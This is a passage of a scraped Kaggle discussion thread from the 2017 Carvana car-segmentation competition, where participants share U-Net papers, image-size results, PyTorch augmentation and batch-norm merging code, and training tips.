", "rawMarkdown": "it seems that there are quite some work that deal with full resolution segmentation. Also my current unet use stacked 3x3 filters (like vgg-16). Here are some papers that uses residual block, etc to repalce it. They claimed better accuracy and efficiency.\n\n\"Efficient ConvNet for Real-time Semantic Segmentation\"- Eduardo Romera1, Jose´ M. A´ lvarez2, Luis M. Bergasa1 and Roberto Arroyo\n\n\"LinkNet: Exploiting Encoder Representations for Efficient Semantic Segmentation\" - Abhishek Chaurasia\n\n\" Not All Pixels Are Equal: Difficulty-Aware Semantic Segmentation via Deep Layer Cascade\" - Xiaoxiao Li\n\n\"ICNet for Real-Time Semantic Segmentation on High-Resolution Images\"- Hengshuang Zhao1\n\n\"Improving Fully Convolution Network for Semantic Segmentation\" - Bing Shuai\n\n\"Full-Resolution Residual Networks for Semantic Segmentation in Street Scenes\" - Tobias Pohlen\n\n\"The One Hundred Layers Tiramisu: Fully Convolutional DenseNets for Semantic Segmentation\" - Simon J´egou1\n\n\"ENet: A Deep Neural Network Architecture for Real-Time Semantic Segmentation\" - Adam Paszke", "votes": null }, { "id": "210997", "postDate": "08/07/2017 19:20:36", "content": "deleted comment - I was wrong
", "rawMarkdown": "deleted comment - I was wrong", "votes": null }, { "id": "211110", "postDate": "08/08/2017 03:38:52", "content": "Heng et al, Does anyone have success with CRF as post-processing?
\n\nOriginal paper on Gaussian CRF: \nhttps://arxiv.org/abs/1210.5644
", "rawMarkdown": "Heng et al, Does anyone have success with CRF as post-processing?\n\nOriginal paper on Gaussian CRF: \nhttps://arxiv.org/abs/1210.5644", "votes": null }, { "id": "211115", "postDate": "08/08/2017 04:12:25", "content": "This is excellent!!
", "rawMarkdown": "This is excellent!!", "votes": null }, { "id": "211268", "postDate": "08/08/2017 13:39:06", "content": "Full-Resolution Residual Networks for Semantic Segmentation in Street Scenes
\n\nhttps://www.youtube.com/watch?v=aXdigiSDIak
\n\nhttps://github.com/TobyPDE/FRRN
", "rawMarkdown": "Full-Resolution Residual Networks for Semantic Segmentation in Street Scenes\n\nhttps://www.youtube.com/watch?v=aXdigiSDIak\n\nhttps://github.com/TobyPDE/FRRN", "votes": null }, { "id": "211358", "postDate": "08/08/2017 18:08:32", "content": "here is another benchmark to compare different methods:
\n\nhttps://www.cityscapes-dataset.com/benchmarks/
", "rawMarkdown": "here is another benchmark to compare different methods:\n\nhttps://www.cityscapes-dataset.com/benchmarks/", "votes": null }, { "id": "211425", "postDate": "08/08/2017 23:08:26", "content": "Did you give it a try?
", "rawMarkdown": "Did you give it a try?", "votes": null }, { "id": "211618", "postDate": "08/09/2017 15:01:01", "content": "Hi Heng!\nThanks for your kernel.\nBTW I see you redefined forward pass, but I don't see any redefinition of backward.\nHave you done it?\nIf not - why? do you think it's good idea to have different backward and forward ways?
", "rawMarkdown": "Hi Heng!\nThanks for your kernel.\nBTW I see you redefined forward pass, but I don't see any redefinition of backward.\nHave you done it?\nIf not - why? do you think it's good idea to have different backward and forward ways?", "votes": null }, { "id": "211689", "postDate": "08/09/2017 18:23:03", "content": "I got the error said:
\n\nRuntimeError: cuda runtime error (46) : all CUDA-capable devices are busy or unavailable at pytorch/torch/lib/THC/generic/THCStorage.cu:66
\n\nCould someone help me?
", "rawMarkdown": "I got the error said:\n\nRuntimeError: cuda runtime error (46) : all CUDA-capable devices are busy or unavailable at pytorch/torch/lib/THC/generic/THCStorage.cu:66\n\nCould someone help me?", "votes": null }, { "id": "211697", "postDate": "08/09/2017 18:40:43", "content": "Try restarting the machine
", "rawMarkdown": "Try restarting the machine", "votes": null }, { "id": "211773", "postDate": "08/09/2017 22:14:25", "content": "I'm not Heng, but if you don't mind I will answer your question:\nIn pytorch there is no need to define a backward path explicitly if using the autograd package. The path is generated implicitly from the forward path and stored in the autograd-variables. Therefore the backward path should be 'the reverse forward path' implicitly.
", "rawMarkdown": "I'm not Heng, but if you don't mind I will answer your question:\nIn pytorch there is no need to define a backward path explicitly if using the autograd package. The path is generated implicitly from the forward path and stored in the autograd-variables. Therefore the backward path should be 'the reverse forward path' implicitly.", "votes": null }, { "id": "211808", "postDate": "08/09/2017 23:42:11", "content": "It's university cluster so I cannot control the machine
", "rawMarkdown": "It's university cluster so I cannot control the machine", "votes": null }, { "id": "211907", "postDate": "08/10/2017 07:39:50", "content": "Did you set the 'CUDA_VISIBLE_DEVICES' Variable?
", "rawMarkdown": "Did you set the 'CUDA_VISIBLE_DEVICES' Variable?", "votes": null }, { "id": "212248", "postDate": "08/11/2017 03:43:06", "content": "another pytorch segmentation open source:
\n\nhttps://github.com/ycszen/pytorch-ss
", "rawMarkdown": "another pytorch segmentation open source:\n\nhttps://github.com/ycszen/pytorch-ss", "votes": null }, { "id": "212369", "postDate": "08/11/2017 13:35:06", "content": "experiments for weighing pixels at the boundary. see attachment pictures.
\n\nwithout weighing:
\n\ntrain=0.9934, validate=0.9940, LB=0.991
\n\nwith weighing:
\n\ntrain=0.9942, validate=0.9945, LB=0.991
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/212369/7044/weighted_dice_1.png\" "\\"\\"")
\n ![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/212369/7045/weighted_dice_2.png\" "\\"\\"")
data augmentation
\n\nhttp://ee.sharif.edu/~shayan_f/fgcc/index.html
\n\n![\"enter](\"http://ee.sharif.edu/~shayan_f/fgcc/imgs/color1.png\" "\\"\\"")
I'm testing a Hue/Saturation/Value augmentation. Looks promising so far, will update with results soon hopefully. My concern is that most cars in train/test sets are black, white or shade of gray and the hue/saturation adjustments don't have much of an effect there.
\n\n![\"enter](\"https://image.prntscr.com/image/R2F_OexrROmTMgUloNmeGQ.png\" "\\"\\"")
smart post precocessing!\nThe car is symmetrical. this can be use to correct segmentation error. e.g. in a frontal car, if missing segementation occurs at one side, it can be easily detected. some reasoning goes for car turned at 30 degree left and right.
\n\nbetter still, try a deep CNN to detect and correct such error, or incorperate such symmtrical information in the network
", "rawMarkdown": "smart post precocessing!\nThe car is symmetrical. this can be use to correct segmentation error. e.g. in a frontal car, if missing segementation occurs at one side, it can be easily detected. some reasoning goes for car turned at 30 degree left and right.\n\nbetter still, try a deep CNN to detect and correct such error, or incorperate such symmtrical information in the network", "votes": null }, { "id": "213215", "postDate": "08/14/2017 04:31:38", "content": "@Bruno G. do Amaral
\n\nThis cvpr 2017 oral paper has some ideas similar to yours:
\n\nhttps://sites.google.com/view/deepimagematting
\n\n\"Deep Image Matting\" - Ning Xu, CVPR 2017
\n\nThe input to the second stage of our network is the concatenation of an image patch and its alpha prediction from the first stage (scaled between 0 and\n255), resulting in a 4-channel input. The output is the corresponding\nground truth alpha matte. The network is a fully convolutional network which includes 4 convolutional layers. Each of the first 3 convolutional layers is followed by a non-linear “ReLU” layer. There are no downsampling layers since we want to keep very subtle structures missed in the first stage.
", "rawMarkdown": "Bruno G. do Amaral\n\nThis cvpr 2017 oral paper has some ideas similar to yours:\n\nhttps://sites.google.com/view/deepimagematting\n\n\"Deep Image Matting\" - Ning Xu, CVPR 2017\n\nThe input to the second stage of our network is the concatenation of an image patch and its alpha prediction from the first stage (scaled between 0 and\n255), resulting in a 4-channel input. The output is the corresponding\nground truth alpha matte. The network is a fully convolutional network which includes 4 convolutional layers. Each of the first 3 convolutional layers is followed by a non-linear “ReLU” layer. There are no downsampling layers since we want to keep very subtle structures missed in the first stage.", "votes": null }, { "id": "213279", "postDate": "08/14/2017 09:53:00", "content": "I trained a model on 1024x1024 images, with batch size 1. I'm getting these crazy artifacts in some images, resulting in a lower than expected LB score. I'm not sure if this could be related to the small batch size. Or should I be looking for errors in my upscaling methods? Did anyone encounter similar artifacts? For most images, the predictions are fine, so that the public LB score is 0.965.
\n\n![\"example\"](\"https://i.imgur.com/hH3AW8K.png\" "\\"\\"")
TTA (test time augmentation) on validation set. CNN model is 1024x1024 input
\n\nif performed on the test set (100064 images), each augmentation is going to take 2 hr. Hence the cost is roughly 12 hr for 0.000035 gain in LB!
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/213331/7089/augment.png\" "\\"\\"")
I didn't change that, I suppose to have 1 K80 GPU available
", "rawMarkdown": "I didn't change that, I suppose to have 1 K80 GPU available", "votes": null }, { "id": "213705", "postDate": "08/15/2017 04:56:04", "content": "you hue augmentation looks good. do you have a code for that?
", "rawMarkdown": "you hue augmentation looks good. do you have a code for that?", "votes": null }, { "id": "213713", "postDate": "08/15/2017 05:17:07", "content": "def randomHueSaturationValue(image, hue_shift_limit=(-180, 180),\n sat_shift_limit=(-255, 255),\n val_shift_limit=(-255, 255), u=0.5):\n if np.random.random() < u:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n h, s, v = cv2.split(image)\n hue_shift = np.random.uniform(hue_shift_limit[0], hue_shift_limit[1])\n h = cv2.add(h, hue_shift)\n sat_shift = np.random.uniform(sat_shift_limit[0], sat_shift_limit[1])\n s = cv2.add(s, sat_shift)\n val_shift = np.random.uniform(val_shift_limit[0], val_shift_limit[1])\n v = cv2.add(v, val_shift)\n image = cv2.merge((h, s, v))\n image = cv2.cvtColor(image, cv2.COLOR_HSV2BGR)\n\n return image\n\nimg = randomHueSaturationValue(img,\n hue_shift_limit=(-50, 50),\n sat_shift_limit=(-5, 5),\n val_shift_limit=(-15, 15))\nthanks!
", "rawMarkdown": "thanks!", "votes": null }, { "id": "215233", "postDate": "08/20/2017 16:37:09", "content": "code for merging removing BN in inference, by merging into CONV.\nI have verify that conv-bn-relu preduced the same results as merged_conv-relu. It is about 10% faster.
\n\nIn addition, fp16 works and produce same results (about 0.00001 numerical error difference). It can increase inference batch size by about 40%.
\n\nIn pytorch you just have to use:
\n\nnet.cuda().half()
\n\nVariable(images,volatile=True).cuda().half()
\n\n class ConvBnRelu2d(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, padding=1, dilation=1, stride=1, groups=1, is_bn=True, is_relu=True):\n super(ConvBnRelu2d, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, padding=padding, stride=stride, dilation=dilation, groups=groups, bias=False)\n self.bn = nn.BatchNorm2d(out_channels, eps=BN_EPS)\n self.relu = nn.ReLU(inplace=True)\n if is_bn is False: self.bn =None\n if is_relu is False: self.relu=None\n\n\n def forward(self,x):\n x = self.conv(x)\n if self.bn is not None: x = self.bn(x)\n if self.relu is not None: x = self.relu(x)\n return x\n\n\n def merge_bn(self):\n assert(self.conv.bias==None)\n conv_weight = self.conv.weight.data\n bn_weight = self.bn.weight.data\n bn_bias = self.bn.bias.data\n bn_running_mean = self.bn.running_mean\n bn_running_var = self.bn.running_var\n bn_eps = self.bn.eps\n\n #https://github.com/sanghoon/pva-faster-rcnn/issues/5\n #https://github.com/sanghoon/pva-faster-rcnn/commit/39570aab8c6513f0e76e5ab5dba8dfbf63e9c68c\n\n N,C,KH,KW = conv_weight.size()\n std = 1/(torch.sqrt(bn_running_var+bn_eps))\n std_bn_weight =(std*bn_weight).repeat(C*KH*KW,1).t().contiguous().view(N,C,KH,KW )\n conv_weight_hat = std_bn_weight*conv_weight\n conv_bias_hat = (bn_bias - bn_weight*std*bn_running_mean)\n\n self.bn = None\n self.conv = nn.Conv2d(in_channels=self.conv.in_channels, out_channels=self.conv.out_channels, kernel_size=self.conv.kernel_size,\n padding=self.conv.padding, stride=self.conv.stride, dilation=self.conv.dilation, groups=self.conv.groups,\n bias=True)\n self.conv.weight.data = conv_weight_hat #fill in\n self.conv.bias.data = conv_bias_hat\nI'm wondering if your weighted dice loss only weights the positive class. Because intersection = m1 * m2, the intersection will be equal to zero wherever the mask (= true label) is zero. Hence, you end up doing w2 * 0 for the negative class. In my mind you're ignoring the weighting of the negative class here.
Please tell me if I'm missing something.
", "rawMarkdown": "I'm wondering if your weighted dice loss only weights the positive class. Because `intersection = m1 * m2`, the intersection will be equal to zero wherever the mask (= true label) is zero. Hence, you end up doing `w2 * 0` for the negative class. In my mind you're ignoring the weighting of the negative class here.\n\nPlease tell me if I'm missing something.", "votes": null }, { "id": "216022", "postDate": "08/24/2017 02:07:32", "content": "Thank you for sharing! It helps me a lot.
\n\nHave you tried PSPNet in your code? I want to know how the model performs in the carvana dataset.
", "rawMarkdown": "Thank you for sharing! It helps me a lot.\n\nHave you tried PSPNet in your code? I want to know how the model performs in the carvana dataset.", "votes": null }, { "id": "216075", "postDate": "08/24/2017 07:53:15", "content": "I've tried pspnet - it was performing really bad..
", "rawMarkdown": "I've tried pspnet - it was performing really bad..", "votes": null }, { "id": "216158", "postDate": "08/24/2017 15:14:17", "content": "Sad... I intended to try ensemble PSPNet with other model...
\n\nI appreciate hearing that :)
", "rawMarkdown": "Sad... I intended to try ensemble PSPNet with other model...\n\nI appreciate hearing that :)", "votes": null }, { "id": "216381", "postDate": "08/25/2017 14:09:27", "content": "@Heng, what IDE do you use?
", "rawMarkdown": "Heng, what IDE do you use?", "votes": null }, { "id": "216382", "postDate": "08/25/2017 14:10:23", "content": "pycharm
", "rawMarkdown": "pycharm", "votes": null }, { "id": "216500", "postDate": "08/26/2017 03:03:00", "content": "I implemented your weighted_bce_loss and tested it, but the returned negative large number. (e.g. dice_score : around 0.98, weighted_bce_loss : -600~)
\n\nIs it OK?
", "rawMarkdown": "I implemented your weighted_bce_loss and tested it, but the returned negative large number. (e.g. dice_score : around 0.98, weighted_bce_loss : -600~)\n\nIs it OK?", "votes": null }, { "id": "216548", "postDate": "08/26/2017 15:07:53", "content": "Hi @Heng, thanks for your sharing. I got useful knowledge from them. Since I am a new CVer, I am not familiar with CV algorithms. I used dilation to determine which pixel to be weighed. Is it feasible? Looking forward to your reply.
", "rawMarkdown": "Hi @Heng, thanks for your sharing. I got useful knowledge from them. Since I am a new CVer, I am not familiar with CV algorithms. I used dilation to determine which pixel to be weighed. Is it feasible? Looking forward to your reply.", "votes": null }, { "id": "216554", "postDate": "08/26/2017 16:10:52", "content": "@lyakaap
\n\nloss can not be negative. I am not sure why this error happens at your side.
\n\n.
\n\n@malcolm
\n\ni think it is ok. just do experiments with and without weighing and the results will show if it works.
", "rawMarkdown": "lyakaap\n\nloss can not be negative. I am not sure why this error happens at your side.\n\n.\n\n@malcolm\n\ni think it is ok. just do experiments with and without weighing and the results will show if it works.", "votes": null }, { "id": "216639", "postDate": "08/27/2017 04:42:30", "content": "I also thought it's incorrect that loss would be negative, but contrast intuition, still it worked properly.\nOn the contrary, I tried to flip the sign of function output. The result is poor and obviously incorrect.
\n\nThank you for answering. I will review my implementation and recalculate bce_loss formula.
", "rawMarkdown": "I also thought it's incorrect that loss would be negative, but contrast intuition, still it worked properly.\nOn the contrary, I tried to flip the sign of function output. The result is poor and obviously incorrect.\n\nThank you for answering. I will review my implementation and recalculate bce_loss formula.", "votes": null }, { "id": "216783", "postDate": "08/28/2017 05:17:27", "content": "", "rawMarkdown": "", "votes": null }, { "id": "218192", "postDate": "09/02/2017 21:07:51", "content": "@Heng, which image input size did you use ?
", "rawMarkdown": "Heng, which image input size did you use ?", "votes": null }, { "id": "218603", "postDate": "09/05/2017 05:15:28", "content": "some pytorch addon:
\n\ndense-CRF: https://github.com/milesial/Pytorch-UNet
ReduceLROnPlateau: https://github.com/EKami/carvana-challenge
inception/densenet block in unet: https://github.com/Hsuxu/carvana-pytorch-uNet
for more see: https://github.com/search?utf8=%E2%9C%93&q=carvana&type=
", "rawMarkdown": "some pytorch addon:\n\n - dense-CRF: https://github.com/milesial/Pytorch-UNet\n\n - ReduceLROnPlateau: https://github.com/EKami/carvana-challenge\n\n - inception/densenet block in unet: https://github.com/Hsuxu/carvana-pytorch-uNet\n\nfor more see: https://github.com/search?utf8=%E2%9C%93&q=carvana&type=", "votes": null }, { "id": "221167", "postDate": "09/14/2017 11:18:49", "content": "Example of dilated Unet
\n\nhttps://blog.insightdatascience.com/heart-disease-diagnosis-with-deep-learning-c2d92c27e730
", "rawMarkdown": "Example of dilated Unet\n\nhttps://blog.insightdatascience.com/heart-disease-diagnosis-with-deep-learning-c2d92c27e730", "votes": null }, { "id": "221201", "postDate": "09/14/2017 13:38:25", "content": "Great thread, I am also using PyTorch, Just uploaded my tutorial here:\nhttps://www.kaggle.com/solomonk/pytorch-numer-ai-deep-binary-classification
", "rawMarkdown": "Great thread, I am also using PyTorch, Just uploaded my tutorial here:\nhttps://www.kaggle.com/solomonk/pytorch-numer-ai-deep-binary-classification", "votes": null }, { "id": "221385", "postDate": "09/15/2017 03:22:29", "content": "It seemed that the dilated convolution layer lower the loss of feature information comparing to downsampling/unsampling layer. But it requires more parameters, so we have to reduce the input size or the depth of the net to adapt to our memory. Did it count?
", "rawMarkdown": "It seemed that the dilated convolution layer lower the loss of feature information comparing to downsampling/unsampling layer. But it requires more parameters, so we have to reduce the input size or the depth of the net to adapt to our memory. Did it count?", "votes": null }, { "id": "222606", "postDate": "09/19/2017 11:54:03", "content": "what is split_file? thanks
\n\nP.S. is going through all py to find how to generate it, thx a lot if you can give hint.
", "rawMarkdown": "what is split_file? thanks\n\nP.S. is going through all py to find how to generate it, thx a lot if you can give hint.", "votes": null }, { "id": "222649", "postDate": "09/19/2017 15:33:51", "content": "list of training/validation images. i think you can find it in one of the version 07-30. But my software changes. it would be easier for you to read the code and check the format of the file for later versions.
", "rawMarkdown": "list of training/validation images. i think you can find it in one of the version 07-30. But my software changes. it would be easier for you to read the code and check the format of the file for later versions.", "votes": null }, { "id": "2869307", "postDate": "06/13/2024 02:39:51", "content": "(https://drive.google.com/open?id=0B_DICebvRE-kN21SaDhMZWt5U0U) Hello, I am a cv novice and want to learn the implementation of your model. The link you shared cannot be opened, could you please share it again?
", "rawMarkdown": "(https://drive.google.com/open?id=0B_DICebvRE-kN21SaDhMZWt5U0U) Hello, I am a cv novice and want to learn the implementation of your model. The link you shared cannot be opened, could you please share it again?", "votes": null } ], "comments": [ { "id": 2869307, "author_name": "giserli", "author_url": "", "post_date": "06/13/2024 02:39:51", "content": "(https://drive.google.com/open?id=0B_DICebvRE-kN21SaDhMZWt5U0U) Hello, I am a cv novice and want to learn the implementation of your model. The link you shared cannot be opened, could you please share it again?
", "votes": null, "replies": [] }, { "id": 208226, "author_name": "", "author_url": "", "post_date": "07/29/2017 04:11:11", "content": "Thank you so much.
", "votes": null, "replies": [] }, { "id": 208227, "author_name": "cpruce", "author_url": "", "post_date": "07/29/2017 04:15:06", "content": "Have you taken a look at
\n\nhttps://github.com/mzaradzki/neuralnets/tree/master/vgg_segmentation_keras\nhttps://aboveintelligent.com/face-recognition-with-keras-and-opencv-2baf2a83b799\nhttp://www.vlfeat.org/matconvnet/pretrained/#semantic-segmentation\nhttps://github.com/nicolov/segmentation_keras
\n\nand particularly https://github.com/jocicmarko/ultrasound-nerve-segmentation?
\n\nHeng, can't thank you enough for your activity on Kaggle. I've learned a bunch from you. Hope you win this one!
", "votes": null, "replies": [ { "id": 208854, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 09:18:21", "content": "thank you for the link, in particular, \"jocicmarko/ultrasound-nerve-segmentation\" unet structure helps!
", "votes": null, "replies": [] } ] }, { "id": 208231, "author_name": "", "author_url": "", "post_date": "07/29/2017 04:43:29", "content": "Thanks for your sharing,and can I ask how much time do you cost when you generate a submit or predict? I'm also using pytorch and I generate a predict in the test set may cost 2~3 hours,it is too slow.
", "votes": null, "replies": [ { "id": 208235, "author_name": "hengck23", "author_url": "", "post_date": "07/29/2017 05:24:04", "content": "you can check this post:\nhttps://www.kaggle.com/c/carvana-image-masking-challenge/discussion/37203
\n\nIt takes about 20 min to predict the masks using CNN, an another 20 min the make csv file.
", "votes": null, "replies": [] }, { "id": 208247, "author_name": "", "author_url": "", "post_date": "07/29/2017 05:55:07", "content": "Oh,Thanks,that's very effective~~
", "votes": null, "replies": [] } ] }, { "id": 208326, "author_name": "hengck23", "author_url": "", "post_date": "07/29/2017 12:31:04", "content": "what does 0.988, 0.990, 0.992, 0.996 look like? I upload some files for your reference.\nThese are train errors i got on my train images.
\n\nFrom these images, the errors are can be corrected if you know something about the car model (e.g. the bumper is black and has to careful not to confuse with shadow). Dimension of the car might help.
\n\nmaybe this is how meta data can be used.
", "votes": null, "replies": [ { "id": 211115, "author_name": "netphone", "author_url": "", "post_date": "08/08/2017 04:12:25", "content": "This is excellent!!
", "votes": null, "replies": [] } ] }, { "id": 208447, "author_name": "subbytech", "author_url": "", "post_date": "07/29/2017 20:10:33", "content": "Hi Heng CherKeng!
\n\nYou're involvement in the public forums is simply awesome! I love how you share a LOT of comp. vision type models (particularly in PyTorch)!
\n\nI was wondering whether you can post your implementation on Github, so that we can view the code online...
\n\nGreat work, keep it up ;) In fact, I'm actually planning to learn PyTorch via this competition, starting from your code. Good luck! ;))
", "votes": null, "replies": [ { "id": 208494, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 00:53:13", "content": "be careful of those imagenet models. the py files are modified (the naming of the layers had changed) and may not work if you pretrained downloaed from the pytorch repository. you may wan to use the original imagenet py model from the pytorch repository.
\n\ni will post the modiifed pretrained models later
", "votes": null, "replies": [] } ] }, { "id": 208448, "author_name": "crailtap", "author_url": "", "post_date": "07/29/2017 20:11:12", "content": "Increasing Image Size helps, currently using 256 x256 with Keras U-net.
\n\n128 x 128 -> 98.5
\n\n256 x 256 -> 99.1
", "votes": null, "replies": [ { "id": 208490, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 00:46:34", "content": "thanks for the information! it helps
", "votes": null, "replies": [] }, { "id": 208775, "author_name": "jandjenter", "author_url": "", "post_date": "07/31/2017 02:51:09", "content": "I got 0.993 with 320x480 (1/4 scale) with Keras U-net\nI can see 1 to 4 pixel discrepancy around car boundary as expected.
\n\nI also attempt the full-scale image, but it seems to be worse at least for first a few epoch - may be I need more U-net depth, but it becomes too slow to run.
", "votes": null, "replies": [] } ] }, { "id": 208479, "author_name": "jackkwok", "author_url": "", "post_date": "07/29/2017 23:18:53", "content": "Thanks Heng for sharing. I am hoping to reproduce this with Keras as I don't have PyTorch.
\n\nHow long was the training time?
\nWhat was the batch size?
you can check the post below
", "votes": null, "replies": [] }, { "id": 209100, "author_name": "emohit", "author_url": "", "post_date": "08/01/2017 07:26:50", "content": "@jackkwok : Will you share the code once you are done with converting this to keras
", "votes": null, "replies": [] } ] }, { "id": 208492, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 00:48:45", "content": "some segmentation model for pytorch which you can used:
\n\nhttps://github.com/bodokaiser/piwise
\n\nhttps://github.com/meetshah1995/pytorch-semseg
\n\nsome discussion
\n\nhttps://discuss.pytorch.org/t/semantic-segmentation-perform-bad/1892/6
\n\nyou may want to try these. i think their implementations may be better than mine.
", "votes": null, "replies": [ { "id": 208521, "author_name": "shanxu", "author_url": "", "post_date": "07/30/2017 04:55:16", "content": "It was very generous of you to share your work. Your work is fantastic. I just wonder if you have already look at CRF-RNN https://github.com/torrvision/crfasrnn which might be more promising?
", "votes": null, "replies": [] } ] }, { "id": 208595, "author_name": "yashk2810", "author_url": "", "post_date": "07/30/2017 10:23:37", "content": "If you are training your model with 128x128 size pictures, then how will you predict the test images with size 1918x1280 since the model expects a tensor of (None, 128, 128, 3)?
", "votes": null, "replies": [ { "id": 208597, "author_name": "crailtap", "author_url": "", "post_date": "07/30/2017 10:26:39", "content": "e.g. the predicted mask is 128 x 128 and now you resize the image up to 1918x1280.
\n\nDepending on the resize function you can loose information, so training on bigger images should in general yield better results.
", "votes": null, "replies": [] }, { "id": 208598, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 10:26:54", "content": "resize image and ground truth mask to NxN at train. predict NxN mask at test. then upscale NxN to 1918x1280 . Not the best solution, but it is a start
", "votes": null, "replies": [] } ] }, { "id": 208639, "author_name": "ceperaang", "author_url": "", "post_date": "07/30/2017 12:44:33", "content": "Works fine with 480*720 patches ^_^
", "votes": null, "replies": [ { "id": 208640, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 12:45:59", "content": "thanks for the infor!
", "votes": null, "replies": [] }, { "id": 208645, "author_name": "crailtap", "author_url": "", "post_date": "07/30/2017 12:58:20", "content": "which batch size do you train?
", "votes": null, "replies": [] }, { "id": 208648, "author_name": "ceperaang", "author_url": "", "post_date": "07/30/2017 13:13:13", "content": "batch_size = 4 with Adam optimizer, trained overnight with 50 epochs, lr divided by 10 on 10, 20 and 50 epoch.
", "votes": null, "replies": [] }, { "id": 208649, "author_name": "crailtap", "author_url": "", "post_date": "07/30/2017 13:23:04", "content": "thxs will test ur image size this night :D
", "votes": null, "replies": [] }, { "id": 208652, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 13:55:43", "content": "note that the prediction size can be bigger than input size. it is like super resolution.
\n\ne.g. prediction_mask (input_128x128) = mask_256x256
\n\nchange bilinear upsampling layer to learnable deconvolution layer (aka transpose convolution)
\n\n...
\n\nalso, you can start to modify your unet to be like:
\n\ninput_NxN --> [ resnet ] --> resNet_features_FxF --> [uNet] --> mask_KxK
", "votes": null, "replies": [] }, { "id": 208672, "author_name": "ceperaang", "author_url": "", "post_date": "07/30/2017 14:45:28", "content": "Another way could be to split images into smaller patches without downscaling. For example, we could split 1920*1280 into 720*480 patches with small overlap and that way it will be possible to train network with full resolution images
", "votes": null, "replies": [] }, { "id": 208674, "author_name": "ceperaang", "author_url": "", "post_date": "07/30/2017 14:49:08", "content": "Managed to run it with 1088x720 and batch 2. Still 3.2x downsampling.
", "votes": null, "replies": [] }, { "id": 208676, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 14:57:34", "content": ">>Another way could be to split images into smaller patches
\n\ni have about the same idea. Please see attachment picture.
\n\n
here is another idea.
\n\nSay if we we are given 100x100 mask as ground truth. During training, we upsize the ground truth to 200x200 and train a network to predict 200x200. Then we download size 200x200 to 100x100 as final prediction results. This may has the 'effect' of averaging neighboring pixel predictions to predict current pixel.
", "votes": null, "replies": [] }, { "id": 208681, "author_name": "ceperaang", "author_url": "", "post_date": "07/30/2017 15:17:47", "content": "Don't know, seems too complex to me. Advantage of end-to-end Unet is that it could have both local and global information (i.e. it can predict where the car is and also detect very precise boundary using this information). If we select very small patches near boundary there will be less context information (it is very hard to understand what is in small patch -- is it boundary of a car or boundary of letter in the background and so on)
", "votes": null, "replies": [] }, { "id": 208682, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 15:19:17", "content": "the patches can be big. e.g 25% of original image size.
\n\nresults of low resolution prediction (and maybe location of patch encoded as pixel information e.g. via distance transform) can be added as input to the high resolution network as well.
", "votes": null, "replies": [] }, { "id": 209187, "author_name": "creatrol", "author_url": "", "post_date": "08/01/2017 13:37:21", "content": "I'm also using adam, I'm wondering how you set the initial super parameters?
", "votes": null, "replies": [] } ] }, { "id": 208647, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 13:00:42", "content": "some early experiment results
\n\n
<
", "votes": null, "replies": [] }, { "id": 208703, "author_name": "hengck23", "author_url": "", "post_date": "07/30/2017 17:41:11", "content": "new experiment results. surprised that 128x128 can achieve LB 0.989. Unet_1 = my initial design unet. Unet_2 = design from Keras reference. Tips:
\n\ndesign your unet properly ... try different number of filters
\n\n
Awesome results! How about using 192*128 -- it will be the same proportions as original image. Also, I'd suggest using cv2.INTERP_AREA instead of default. It will make downsampled images more \"smooth\" without aliasing effects. I think it will allow to break into 0.99+ area.
", "votes": null, "replies": [] }, { "id": 208722, "author_name": "melgor", "author_url": "", "post_date": "07/30/2017 18:59:51", "content": "I have a question about difference between LB score and validation score.\nI have trained model on 256x256 images. I get validation Dice Error ~0.991.
\n\nBut when I resize prediction to full resolution, at validation set I get 0.986 (which is consistent with my LB score).\nI'm thinking if such big drop is sth natural or I screwed the up-sampling part for prediction (I just use resize and threshold to have only binary values). After my analyse, look like my model learned nice the down-sampled masks, but also with all down-sample artifacts. Or I have sth wrong in my pipeline,\nHow does you pipeline look like?
", "votes": null, "replies": [] }, { "id": 208732, "author_name": "ceperaang", "author_url": "", "post_date": "07/30/2017 19:48:41", "content": "This is fine. Your model learns downsampled masks very carefully but they are still downsampled and don't contain all the information of full-sized masks no matter how you will upsample predictions. I got higher score by using 720*480 masks. Currently training 1088x720 ^_^
", "votes": null, "replies": [] }, { "id": 208798, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 05:12:11", "content": "different resizing (bilinear, cubic, area, learnable) will be my next experiments. Also I will be trying scling without changing the aspect of the original image. I will report results later. Thanks for the hints and advice!
", "votes": null, "replies": [] }, { "id": 208869, "author_name": "miaouhoho", "author_url": "", "post_date": "07/31/2017 12:29:03", "content": "Hello Heng,
\n\nDo you think resize image's extension will affect the score?
\nIs it better to resize and write as jpg format than png ?
@Bartek
\n\nlet ( downsize(x), downsize(y_hat) ) be an train sample, and p be output prediction of CNN.
\n\nDid you threshold(upsize(threshold(p))) or threshold(upsize(p)) for submission? I use threshold(upsize(p)) but i haven't compare which is better
", "votes": null, "replies": [] }, { "id": 208891, "author_name": "crailtap", "author_url": "", "post_date": "07/31/2017 14:09:16", "content": "When using bigger images, how do you guys save the predictions? Currently i'm using numpy array but with bigger image size my 32gb ram gets memory error.
", "votes": null, "replies": [] }, { "id": 208910, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 14:50:26", "content": "my ram is 128 gb. Your prediction comes from CNN, which you can save at every e.g. 1000 iterations. your results will be in chunks of 1000. 512x512 prediction mask (float32) is about 104 GB when saves as npy file.
", "votes": null, "replies": [] }, { "id": 208912, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 14:52:01", "content": "@Eugene I am not sure but i think image compression should have negligible effects
", "votes": null, "replies": [] }, { "id": 208914, "author_name": "firolino", "author_url": "", "post_date": "07/31/2017 14:53:59", "content": "You could virtually increase your memory size by using a swap file:
